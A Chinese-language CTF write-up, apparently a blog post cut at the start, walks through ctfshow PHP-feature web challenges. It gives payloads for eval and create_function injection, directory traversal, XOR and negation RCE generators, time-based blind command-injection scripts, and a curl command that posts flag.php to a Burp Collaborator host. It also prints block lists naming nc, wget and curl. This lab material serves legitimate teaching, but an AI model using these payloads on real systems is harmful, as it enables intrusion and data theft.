    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

这一次将|g|i|f|c|o|d/都给过滤掉了,那么我们便无法再使用GET和POST了。也无法再使用php伪协议了。

注意到代码中,$a=$_SERVER['argv'];这个东西一直没有用上。那么这个数组有什么用呢?

在 PHP 中,$_SERVER['argv'] 用于获取脚本的命令行参数,通常,这是在命令行模式下运行 PHP 脚本时使用的,而不是在网页模式下使用。

当在命令行模式下运行 PHP 脚本时,例如: php script.php arg1 arg2

那么 $_SERVER['argv'] 将包含以下内容:

$_SERVER['argv'][0] = 'script.php';  // 脚本名
$_SERVER['argv'][1] = 'arg1';        // 第一个参数
$_SERVER['argv'][2] = 'arg2';        // 第二个参数

在网页模式下(通过浏览器访问 PHP 脚本),$_SERVER['argv'] 通常不包含有用的信息,因为网页请求没有命令行参数。然而,有时服务器配置会将查询字符串或其他信息填充到 $_SERVER['argv'] 中

详细点解释:

当服务器配置中打开了 register_argc_argv 选项,PHP 会把 ? 后面的整个字符串(也就是查询字符串)原封不动放进 $_SERVER['argv'][0]。此时的 $_SERVER[‘argv’][0] 就等于 $_SERVER[‘QUERY_STRING’]。$_SERVER["QUERY_STRING"] 就是查询 (query) 的字符串。

那我们直接先看payload:

get:?$fl0g=flag_give_me;
post:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])

代码中要求,GET中不能有fl0g参数但是我们传入的是$fl0g。所以isset($_GET['fl0g']) 仍然会返回 false,即没有检测到 fl0g 参数。这个时候,由于题目开启了register_argc_argv,查询的字符串便会保存到$_SERVER['argv'][0]也就是$a[0]内。

然后POST传参的前两个与前面一致便不再解释了

fun=eval($a[0])

这一条的含义就是执行$a[0]里的代码,而$a[0]里保存的是我们有意写好的查询字符串

$fl0g=flag_give_me;

执行以后就定义了$fl0g值为flag_give_me,也就满足了条件if($fl0g==="flag_give_me"),然后打印$flag

效果如下:

image-20250726162844991

extract()函数分离变量

例题:web127

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];

//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}

if($ctf_show==='ilove36d'){
    echo $flag;
} 

代码审计:

$ctf_show = md5($flag);

将 $flag 变量进行 MD5 哈希运算,并将结果赋值给 $ctf_show。

$url = $_SERVER['QUERY_STRING'];

将查询字符串赋值给$url,也就是url中?后面的内容。

之后会通过waf函数过滤,过滤了大部分的字符。waf返回为true直接终止,返回为true则执行extract($_GET);

介绍一下extract()函数是用来做什么的:

可以直接看下面的例子:
假如说GET数组内的内容如下
$_GET = [
    '收件人' => '张三',
    '物品' => '笔记本电脑',
    '电话' => '13800138000'
];

extract($_GET);
// 执行后自动创建变量:
$收件人 = '张三';
$物品 = '笔记本电脑';
$电话 = '13800138000';

也就是说经过extract($_GET);,会自动为GET中的参数定义变量并赋值。

最后如果满足$ctf_show==='ilove36d'的话便输出flag。

很容易想到下面的payload

?ctf_show=ilove36d

但是注意到,_下划线是被过滤掉了。回想起前面web123的非法字符的特性,可以使用非法字符让其转换成下划线_即可,空格没有被过滤使用空格作非法字符即可

?ctf show=ilove36d

image-20250726165241077

冷门函数gettext和它的简写

例题:web128

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}

function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

代码审计:

check($str)

会检测字符串是否包含数字或者是字母。

var_dump(call_user_func(call_user_func($f1,$f2)));

经过两层call_user_func:

  1. 第一层call_user_func($f1,$f2),首先调用 $f1 函数,并传递参数 $f2,结果是 $f1($f2) 的返回值。
  2. 外层call_user_func(...)。外层 call_user_func 接收内层调用的返回值作为它的第一个参数,要正确执行,内层返回值应该是一个函数名或可调用的回调,外层 call_user_func 将再次调用这个返回的回调函数,不传递任何额外的参数。

然后通过var_dump打印

由于对$f1进行了check($f1),也就是$f1不能包含数字和字母。那我们几乎没有什么函数可以拿来执行了。这个时候就要介绍一下gettxt函数。

新知识:gettext 函数

前提:php扩展目录下是否有php_gettext.dll这个文件

gettext 函数的作用:gettext 函数用于在 PHP 应用程序中实现国际化(i18n)和本地化(l10n),说白了就是根据当前语言环境输出翻译后的字符串。

假如你的没有国际化的程序里有这样的代码,echo "你好";,而国际化的程序你要写成 echo gettext("你好");,然后再在配置文件里添加“你好”相对应的英文“Hi”。
这时,中国地区浏览都会在屏幕上输出“你好”,而美国地区浏览都会在屏幕上输出“Hi”。也就是说,最终显示什么是根据你的配置文件而定的,如果找不到配置文件,才会输出程序里面的内容。

并且,_()是gettext()函数的简写形式

那我们便找到了一个不带数字与字母的函数可以使用了。我们可以通过_()也就是gettext()函数,直接将$f2作为外层call_user_func(...)的函数名输出。见如下payload:

?f1=_&f2=get_defined_vars

最终执行的其实就是

var_dump(get_defined_vars())

打印所有已定义的变量,其中肯定包含$flag

image-20250726171917209

../目录溢出绕过stripos

例题:web129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

stripos($f, 'ctfshow')作用是返回ctfshow在$f中首次出现的位置。

可以通过目录溢出绕过

payload:

?f=/ctfshow/../../../../../../../../var/www/html/flag.php

image-20250727132449206

正则最大回溯次数绕过

例题:web131

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

注意到这一次,对$_POST['f']前面作了转换为String的操作。并且stripos函数检测的是36Dctfshow的位置,那么便无法使用web130的方法了。

这里考察的是正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
所以我们可以用脚本生成100万个1最后拼接上36Dctfshow即可

<?php

// 设置生成字符串的长度
$length = 1000000;

// 生成包含一百万个数字 "1" 的字符串
$onesString = str_repeat('1', $length);

// 输出结果
echo $onesString;

?>

image-20250727134826211

&&运算符优先级大于||运算符

例题:web132

打开后找不到代码

image-20250727135212972

访问一下robots.txt文件

image-20250727135241886

发现存在/admin页面,尝试访问得到源码。

image-20250727135317597

代码审计:

通过GET传入username,password,code。

然后便是条件判断

$code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"

其中mt_rand(1,0x36D)用于生成1-877的随机数,想让$code强等于它概率非常的小。

然后通过&&运算符连接条件$password === $flag。这个条件也十分的难成立,我如果提前知道flag我还做这个题干嘛,

然后通过||运算符连接条件$username ==="admin",这个条件是最好成立的。

这里要说明的要点就是:&&的优先级是高于||的,&&要求左右都为真才为真,而||只要求左右一个为真即为真。所以满足条件,我们前面两个条件都为false也没事,最后一个条件$username ==="admin"为真即可。

并且还要满足$code == 'admin'才能输出flag,这个好满足。

payload:

?username=admin&password=1&code=admin

image-20250727140946789

curl外带命令执行

例题:web133

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

可以发现这一次是一道命令执行,只不过会截取$F的前6个字符拿来执行。

只能使用6个字符,那常规的方式都没法使用了。在看了大佬们的wp只有,学到了命令执行的一种骚套路。

举个小栗子:

get传参   F=`$F `;sleep 3           可以发现确实等了3秒才响应
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  `   `$F `;sleep 3  ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。

既然后面的命令可以自由控制,那我们便可以通过反弹Shell,或者是外带的方式来命令执行和获取flag。

此题貌似反弹Shell成功不了,我们尝试使用curl外带的方式。

这里就要用到BurpSuite自带的模块Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)。

image-20250727154241069

image-20250727154441450

这里我复制下来是d2gsyk6q65fujkdprj5vtvwar1xrlg.burpcollaborator.net

然后我们可以使用curl去外带flag.php到上面的域名。

payload:

?F=`$F`;+curl -X POST -F xx=@flag.php  http://d2gsyk6q65fujkdprj5vtvwar1xrlg.burpcollaborator.net

#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件 

image-20250727154814020

发送以后便可以回到bp里面刷新,便可以看到一个http的包

image-20250727154843453

可以直接看响应

image-20250727154937710

成功拿到flag

GET覆盖POST数组

例题:web134

<?php

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
} 

代码审计:

首先会检测是否有通过GET和POST传入参数key1和key2。只要有一个便终止程序。

$_SERVER['QUERY_STRING']保存的是查询字符串,也就是url里?后面的内容。

parse_str将其转换成变量的形式。

extract($_POST);将POST中的参数分离成变量。

最后判断

if($key1 == '36d' && $key2 == '36d')

满足则输出flag。

可以看到,会对GET和POST都进行变量转换。那便有一个骚操作,就是让GET变量转换以后变成了POST,见下面payload

?_POST[key1]=36d&_POST[key2]=36d

这个payload经过

@parse_str($_SERVER['QUERY_STRING']);

就变成了

$_POST[key1]=36d
$_POST[key2]=36d

然后经过extract($_POST);变成

$key1 = '36d' 
$key2 = '36d'

所以满足条件输出flag,要在源码中才能看到

image-20250727163143530

无回显exec——输出结果重定向

例题:web136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

这段代码其实就是在命令执行前,对字符串进行了过滤,可见将大部分的命令都给过滤掉了,但是cat与ls还可以使用。

此题还有一个关键就是,通过exec命令执行是没有回显的

image-20250729200814808

所以我们需要找方法将命令执行的结果重定向到文件里

由于此题并未过滤,ls,tee,cat这些命令。

tee 命令会从标准输入读取数据,然后将这些数据同时输出到标准输出(也就是屏幕)和指定的文件,通常搭配管道符使用。

所以可以通过下面这个命令,将ls的结果通过管道符作为tee命令的输入,然后写入文件内

ls |tee 1 

由于点被过滤了,所以文件名不能有后缀。然后直接通过url访问,会直接让你下载文件,下载后用记事本打开即可看到命令执行的结果。

image-20250729201351885

可以看到flag不在当前目录下,那看看根目录

ls /|tee 2

image-20250729201517653

发现flag在f149_15_h3r3文件里。直接通过cat读取

tac /f149_15_h3r3 |tee 3

成功获得flag:ctfshow{413fff29-6b54-41fe-9edd-d6f6e581b11e}

无回显exec——时间盲注得执行结果

例题:web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

可以看到这一关的代码与web136一模一样。

但是尝试使用web136的做法以后,发现不能如我们所愿了。原因应该是不允许写文件了。

这里可以使用时间盲注的方式来解决,下面这个是yu师傅写的脚本

import requests
import time
import string

str = string.ascii_letters + string.digits + '_~'
result = ""

for i in range(1, 10):  # 行
    key = 0
    for j in range(1, 15):  # 列
        if key == 1:
            break
        for n in str:
            # awk 'NR=={0}'逐行输出获取
            # cut -c {1} 截取单个字符
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)
            # print(payload)
            url = "http://01d9a92d-4375-4d67-887b-467568ad1726.challenge.ctf.show/?c=" + payload
            try:
                requests.get(url, timeout=(2.5, 2.5))
            except:
                result = result + n
                print(result)
                break
            if n == '~':
                key = 1
                result += " "

print("Final result:", result)

代码解释如下

import requests  # 导入requests库,用于发送HTTP请求
import time      # 导入time库,此处未直接使用,可能用于后续扩展
import string    # 导入string库,提供字符串常量

# 定义可能包含在目标文件名中的字符集:大小写字母+数字+下划线+波浪线
str = string.ascii_letters + string.digits + '_~'
# 用于存储最终猜测出的结果
result = ""

# 外层循环:遍历根目录下的文件(按行号),假设最多有9个文件
for i in range(1, 10):  # i表示行号(第几个文件)
    key = 0  # 标记当前行是否已读取完毕(0:未完毕,1:已完毕)
    # 中层循环:遍历当前文件名的每个字符位置,假设最长14个字符
    for j in range(1, 15):  # j表示字符位置(第几个字符)
        if key == 1:
            break  # 若当前行已结束,跳出字符位置循环
        # 内层循环:尝试字符集中的每个字符,判断是否匹配
        for n in str:  # n表示当前尝试的字符
            # 构建payload命令:判断指定位置的字符是否为n
            # 命令逻辑:
            # ls /:列出根目录文件
            # awk 'NR=={i}':取第i行的文件名
            # cut -c {j}:取该文件名的第j个字符
            # 若字符等于n,则执行sleep 3(延迟响应)
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)
            # 拼接包含payload的请求URL(利用目标的命令注入漏洞)
            url = "http://01d9a92d-4375-4d67-887b-467568ad1726.challenge.ctf.show/?c=" + payload
            try:
                # 发送GET请求,设置超时时间2.5秒(小于sleep 3的时间)
                requests.get(url, timeout=(2.5, 2.5))
            except:
                # 超时异常:说明字符匹配成功(触发了sleep 3)
                result = result + n  # 将正确字符添加到结果
                print(result)  # 打印当前已匹配的结果
                break  # 跳出当前字符循环,尝试下一个位置
            # 若尝试到最后一个字符仍不匹配,说明当前行已结束
            if n == '~':
                key = 1  # 标记当前行结束
                result += " "  # 用空格分隔不同文件

# 打印最终拼接的根目录文件列表
print("Final result:", result)

脚本的作用就是利用时间盲注,将命令执行的结果全部猜测并且拼接出来。

由于一次就要延时3秒,所以我们需要等待一段时间才能列出完整的result。

image-20250804152112699

脚本运行一段时间我们已经可以看到flag的所在位置了。

接下来将脚本里的命令执行修改为读文件(这个时候不需要逐文件读了)

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
    print(j)
    if key==1:
        break
    for n in str:
        payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
        #print(payload)
        url="http://01d9a92d-4375-4d67-887b-467568ad1726.challenge.ctf.show/?c="+payload
        try:
            requests.get(url,timeout=(2.5,2.5))
        except:
            result=result+n
            print(result)
            break

image-20250804153136466

由于字符集没加上{},所以自己带上{}就是flag了。

ctfshow{4a9f4e70-48e1-444d-928f-e0aad187ba2d}

PHP中外部调用类方法

例题:web137

<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']);

call_user_func函数中第一个参数为函数名,第二个参数是这个函数的参数,如果第二个参数为空则默认无参。

那么这一题我们可以直接调用ctfshow类里面的getFlag函数。

ctfshow=ctfshow::getFlag

然后直接在源代码中就能看到flag

call_user_func 通过数组来传递

例题:web138

<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

此题与上一题新增了

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

代码的意思就是,检测":"在$_POST['ctfshow']之后最后一次出现的位置。如果>-1的话就直接die了。其实可以理解为过滤掉了:。

对于 call_user_func 我们还可以通过数组来传递,payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

ctfshow[0]=ctfshow:数组的第一个元素是字符串 "ctfshow",表示类名。
ctfshow[1]=getFlag:数组的第二个元素是字符串 "getFlag",表示类的静态方法名。

调用 strripos 时,如果第一个参数是数组,PHP 将会返回 null,因为 strripos 期望第一个参数是字符串类型,所以不会触发 die("private function");。

call_user_func($_POST['ctfshow']); 将解析为 call_user_func(['ctfshow', 'getFlag']);,这将静态调用 ctfshow::getFlag() 方法。

查看源代码拿到flag

image-20250804143306163

usleep函数无返回值

例题:web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

代码要求f1与f2必须是由小写字母与数字构成的。

然后执行

$code = eval("return $f1($f2());");

代码的含义就是将$f2()的返回值作为$f1($f2())函数的参数,然后将$f1($f2())的返回值通过return返回。然后赋值给$code。

但是可以看到

if(intval($code) == 'ctfshow')

这里将$code类型转换成int型,而比较又是弱比较==,在这种情况下'ctfshow'也会被类型转换成int型也就是0。

所以如果我们想让条件成立,要么让返回值为false,要么返回值为以字母开头的字符串,要么返回0。

所以有下面几个payload:

f1=system&f2=system   # 布尔值 false
f1=md5&f2=phpinfo   # 字母开头的字符串
f1=usleep&f2=usleep   # usleep() 没有返回值,调用 usleep() 将导致 eval() 返回 null。当 null 传递给 intval() 时,返回值是 0。

在源代码中找到flag

image-20250804155900150

数字与代码进行运算仍能使代码执行

例题:web141(使用取反),web143(使用异或),web144,web145(换别的运算符),web146

这里就以web141为例子,其他题都是在这个基础上变形的

<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

代码要求$v1与$v2都是数字类型,而$v3只能由非单词字符构成。

然后去执行由三者拼接起来的语句$v1$v3$v2。将 $v1 和 $v2 作为操作数,$v3 作为操作符,构建一个表达式,并使用 eval() 执行它,最后输出表达式及其结果。

由于在php中数字与一些代码执行的语句进行运算也是可以让代码执行的。那我们便可以在v3处构造代码执行在前后加上运算符就行,由于v3不能用单词所以这里可以采用取反的方式。

取反的脚本

<?php
echo urlencode(~'system');
echo "\n".urlencode(~'ls');
?>

image-20250804165246793

payload如下:

?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-

image-20250804165605380

然后直接cat flag.php即可

image-20250804165651695

payload:

?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)-

image-20250804165820252

当然有的时候会将一些字符给过滤掉,下面我列举出替换方案

运算符可用方案

+-
*/
|       或
===     全等
? :   三目运算符

字符生成可用方案

取反,异或,或

这些可用方案可用在其他几道例题用得上,可自行根据题目研究。

下面给出一个从别的师傅分享的一个一把梭脚本

首先运行下面脚本生成字符集

<?php

//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(2,'/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/');
//1代表模式,后面的是过滤规则

然后运行下面脚本生成payload

# -*- coding: utf-8 -*-

def action(arg):
    s1 = ""
    s2 = ""
    with open("rce.txt", "r") as f:
        lines = f.readlines()
        for i in arg:
            for line in lines:
                if line.startswith(i):
                    s1 += line[2:5]
                    s2 += line[6:9]
                    break
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return output

while True:
    function_input = input("\n[+] 请输入你的函数:")
    command_input = input("[+] 请输入你的命令:")
    param = action(function_input) + action(command_input)
    print("\n[*] 构造的Payload:", param)

效果如下:

image-20250804202354009

php命名空间/与create_function函数的注入风险

例题:web147

<?php

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

首先通过POST传入ctf,然后用$ctfshow接收。

$ctfshow经过正则表达式过滤,代码中的正则表达式的含义是只能由大小写字母和数字以及_下划线组成,if判断里还有个!取非。那么也就是说只要$ctfshow里有正则表达式外的字符就满足if。

然后将$ctfshow作为函数名,('',$_GET['show'])作为第一第二参数。

本题的问题就是,我们如何成功绕过正则表达式,然后借助$ctfshow('',$_GET['show']);命令执行呢??

这里便要介绍一下php的命名空间

在 PHP 中,命名空间(namespace)提供了一种组织代码的方式,可以避免类、函数和常量名称的冲突。默认情况下,PHP 的函数和类都在全局命名空间 \ 中。全局命名空间中的函数和类:在任何命名空间中调用全局函数和类时,需要使用绝对路径(以 \ 开头)。 自定义命名空间中的函数和类:在同一命名空间中调用时,可以直接使用名称;在其他命名空间中调用时,需要使用完整的命名空间路径。

这里可以通过 create_function 函数来实现命令执行

所以POST中的ctf可以像下面这样传入

ctf=\create_function

这个意思就是调用全局命名空间里的create_function函数。

再重新回忆一下create_function函数:

作用:create_function 动态创建一个匿名函数
用法:create_function(string $args, string $code)

$args:参数列表,用逗号分隔的参数名字符串。
$code:函数体,包含函数的实际代码。

实例:

$func = create_function('$a', 'echo $a."123";');
$func('Hello'); // 输出 Hello123

等价于:

function f($a) {
  echo $a . "123";
}

f('Hello'); // 输出 Hello123

create_function 存在注入风险,我们这里先闭合前面的 { ,再注释后面的 },然后在{}之间可以执行自己想执行的代码。

构造payload:

#GET
?show=}system('ls');//

#POST
ctf=\create_function

image-20250804194318514

直接读flag

中文也可作变量

例题:web148

<?php

include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

正则匹配过滤了很多字符,但是发现没有过滤(),"",以及^。那么便可以直接使用^构造字符rce。

生成可用字符字典:

payload:

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0c%08"^"%60%7b")
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b")

上面那个解前面已经做烂了,所以我们换一种做法。

中文也可作变量

?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

其实也是通过异或只不过这个是可见字符的异或,"`{{{"^"?<>/"; 异或出来就是 _GET

__autoload方法自动加载类

例题:web150,web151

由于web150没有过滤log,所以可以使用包含日志文件的非预期解。所以下面都是以web151为例子讲解。

<?php

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

这一次又多了一个strrpos($ctf,"log"),也就是说$ctf中不允许出现log了,那么便无法使用上一关的日志包含的非预期解了。

那么便再好好看看代码。

关键点就在于__autoload函数

作用:用于自动加载类
 __autoload()方法会在试图使用尚未被定义的类时自动调用
 __autoload() 方法接收的一个参数,就是欲加载的类的类名

 一般来说__autoload()方法的代码逻辑如下

function __autoload($class_name)
{
require_once $class_name.'.php';
}

因为在实际项目中,不可能把所有的类都写在一个 PHP 文件中,当在一个 PHP 文件中需要调用另一个文件中声明的类时,就需要通过 include 把这个文件引入。不过有的时候,在文件众多的项目中,要一一将所需类的文件都 include 进来,一个很大的烦恼是不得不在每个类文件开头写一个长长的包含文件的列表。这个时候使用我们上面给的__autoload方法就很方便,不再需要一次次的include。

但是本题代码中给了一个自定义的_autoload方法(**注意代码中的\_autoload是在类外的函数**)

    function __autoload($class){
        if(isset($class)){
            $class();
    }

可以看到如果$class类尚未被定义,则直接将其当作函数执行。

那么便可以看下面的payload

?..CTFSHOW..=phpinfo

其中参数中的..是为了利用参数中的非法字符自动转化成_下划线的机制,因为代码中过滤了_下划线,所以通过这种方式来转化成我们想要的参数。

经过extract($_GET);变量分离后就等同于:

$__CTFSHOW__=phpinfo

然后在执行class_exists($__CTFSHOW__)的时候等同于

class_exists(phpinfo)

phpinfo显然不是一个定义过的类,所以会触发方法__autoload然后将其当作函数执行phpinfo()。

效果如下:

image-20250804225353029

然后直接检索关键词便可以找到flag

image-20250804225512087

至此ctfshow-web入门-PHP特性篇就完结了,真的学到了很多东西。虽然大部分时候都是看大佬们的WP才明白怎么解的,继续加油吧👊。

后面在刷题过程中遇到的别的特性也会同时更新此文

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注